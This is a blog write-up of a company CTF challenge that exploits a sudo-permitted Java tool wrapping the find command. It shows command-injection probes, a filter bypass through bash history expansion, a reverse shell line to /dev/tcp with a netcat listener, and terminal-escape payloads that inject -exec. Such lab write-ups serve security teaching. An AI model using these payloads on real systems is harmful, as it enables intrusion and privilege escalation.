BashBashBaby
KaizenCTF
During Cybersecurity Awareness Month, I had the opportunity to create a CTF for the company I work for. The goal was to introduce cybersecurity in a fun way. I created a dozen challenges in different categories, and one of them is called “BashBashBaby,” which I’ve decided to share in this blog.
Installation
You can run the challenge locally from the source files by executing the following :
$ git clone https://github.com/kota31/kaizenCTF.git
$ cd misc/bashbashbaby/src
$ docker-compose up
Writeup
Sudoers configuration
The first step is to connect to the challenge via SSH.
$ ssh -p 2222 kaizen@localhost
Then, in /tmp, you can find the target application SecureFind.jar and the file flag.txt
kaizen@37ec143d253f:/tmp$ ls -la
total 20
drwxrwxrwt 1 root root 4096 Oct 2 20:23 .
drwxr-xr-x 1 root root 4096 Oct 13 19:03 ..
-rw-r--r-- 1 root root 1827 Oct 2 20:23 SecureFind.jar
-r--r----- 1 kaizen-cracked-master kaizen-cracked 38 Oct 2 20:22 flag.txt
drwxr-xr-x 1 root root 4096 Oct 2 20:23 hsperfdata_root
When inspecting the sudoers configuration, you’ll see that we can run this application with the kaizen-cracked privileges :
kaizen@37ec143d253f:/tmp$ sudo -l
Matching Defaults entries for kaizen on 37ec143d253f:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/usr/local/openjdk-24/bin, use_pty
User kaizen may run the following commands on 37ec143d253f:
(kaizen-cracked) NOPASSWD: /bin/java -jar /tmp/SecureFind.jar *
Let’s try it to see what happens :
kaizen@37ec143d253f:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar 'test'
kaizen-cracked@37ec143d253f:/tmp$ find . -type f -regex "test"
kaizen-cracked@37ec143d253f:/tmp$ exit
kaizen@37ec143d253f:/tmp$
So now, we know that SecureFind application simply executes a find bash command, and we can control the regex argument.
It almost obvious that the goal is to get a arbitraty code execution trough command injection.
Reverse engeneering
We can try common payloads to see if any protection mechanisims are implemented :
1. ";id
2. $(id)
3. `id`
But we are always getting the same output.
kaizen@37ec143d253f:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar '";id'
No hackers here !
kaizen@37ec143d253f:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar '$(id)'
No hackers here !
kaizen@37ec143d253f:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar '`id`'
No hackers here !
So to have a better understanding, we can try decompiling the jar using JD-GUI.
kali@kali:/home/kali$ scp -P 2222 kaizen@localhost:/tmp/SecureFind.jar .
kaizen@localhost password:
SecureFind.jar 100% 1827 765.0KB/s 00:00
We can see on the screenshot above that some special characters are forbidden, meaning that common command injection payloads won’t work !
We can list all the available characters from this list.
Exploitation
Access to bash history
The character ! can be used to interact with bash history. When we try it, we get an intersting output :
kaizen@25233d24eed9:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar '!!'
kaizen-cracked@25233d24eed9:/tmp$ find . -type f -regex "!!"
find . -type f -regex "# Nothing here !"
kaizen-cracked@25233d24eed9:/tmp$ exit
Reading the documentation of this bash functionality shows us that we can use a line specifier with this synthax !history_line.
When trying to access the second history line, we get this following output :
kaizen@25233d24eed9:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar '!2'
kaizen-cracked@25233d24eed9:/tmp$ find . -type f -regex "!2"
find . -type f -regex "echo Mr Doe told me to block these characters : \'\&\;\|\#\`!\" and $ ofcourse !"
After the second line, no more history is available.
Get the Flag
By looking further into the documentation, we learn that we can access the args too with this syntax !history_line:arg_number.
So you may have guessed it by now, we have to access the $ character at the 12th position to run a reverse shell.
For this part, we create a simple reverse shell and execute it with our method.
kaizen@25233d24eed9:/tmp$ echo 'sh -i >& /dev/tcp/192.168.1.152/444 0>&1' > shell
kaizen@25233d24eed9:/tmp$ chmod +x shell
kaizen@25233d24eed9:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar '!2:12(/tmp/shell)'
kaizen-cracked@25233d24eed9:/tmp$ find . -type f -regex "!2:12(/tmp/shell)"
find . -type f -regex "$(/tmp/shell)"
BOOM ! We have a shell and we can cat the flag 🏴☠️
1kali@kali:/home/kali$ nc -lvp 444
2listening on [any] 444 ...
3172.21.0.2: inverse host lookup failed: Unknown host
4connect to [192.168.1.152] from (UNKNOWN) [172.21.0.2] 45642
5$ cat /tmp/flag.txt
6KZS{2e910bcd10123bc886f4185dbd5ae66d}
Unintented path
During CTF, some players found alternative ways to solve this challenge with escaped characters in bash.
They used a combo of \b and \e to control the terminal cursor and therefore modify the command completely.
Adding many \b will erase the entire find command and allow to execute what we want.
kaizen@25233d24eed9:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar $'\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\bcat flag.txt\e'
kaizen-cracked@25233d24eed9:/tmp$ cat flag.txt
KZS{2e910bcd10123bc886f4185dbd5ae66d}
kaizen-cracked@25233d24eed9:/tmp$ exit
Another way is to remove the double quotes with \b and \e to inject -exec paramater to directly print the flag.
kaizen@25233d24eed9:/tmp$ sudo -u kaizen-cracked /bin/java -jar /tmp/SecureFind.jar $'\b\'./flag.txt\' -exec cat {} +\e'
kaizen-cracked@25233d24eed9:/tmp$ find . -type f -regex './flag.txt' -exec cat {} +
KZS{2e910bcd10123bc886f4185dbd5ae66d}
kaizen-cracked@25233d24eed9:/tmp$ exit